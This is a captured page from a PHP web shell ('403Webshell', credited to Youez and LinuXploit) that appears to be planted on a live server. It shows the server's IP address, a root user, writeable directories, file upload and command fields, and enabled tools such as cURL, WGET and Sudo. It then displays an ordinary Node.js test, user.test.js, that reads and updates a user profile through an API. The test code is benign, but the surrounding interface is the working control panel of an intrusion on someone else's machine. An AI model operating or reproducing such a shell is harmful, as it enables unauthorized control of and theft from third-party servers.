403Webshell
Server IP : 167.235.67.158  /  Your IP : 216.73.216.95
Web Server : Apache
System : Linux ubuntu-8gb-nbg1-1 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/api.pda.the-word.com/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/api.pda.the-word.com/tests/user.test.js
const assert = require('node:assert/strict');
const test = require('node:test');

const { hasAuthEnv, login, request, uniqueId } = require('./helpers');

const it = hasAuthEnv ? test : test.skip;

it('user profile can be read and updated', async () => {
  const auth = await login();
  const original = await request('/user/me', { token: auth.accessToken });
  assert.equal(original.status, 200);

  const updatedSettings = `${original.body.settings}|api-test:${uniqueId('settings')}`;
  const updateResponse = await request('/user/me', {
    method: 'PUT',
    token: auth.accessToken,
    body: {
      settings: updatedSettings,
      reminderTimer: original.body.reminderTimer || 1,
      workingHours: original.body.workingHours || ''
    }
  });

  assert.equal(updateResponse.status, 200);
  assert.equal(updateResponse.body.settings, updatedSettings);

  const refreshed = await request('/user/me', { token: auth.accessToken });
  assert.equal(refreshed.status, 200);
  assert.equal(refreshed.body.settings, updatedSettings);

  await request('/user/me', {
    method: 'PUT',
    token: auth.accessToken,
    body: {
      settings: original.body.settings,
      reminderTimer: original.body.reminderTimer,
      workingHours: original.body.workingHours
    }
  });
});

Youez - 2016 - github.com/yon3zu
LinuXploit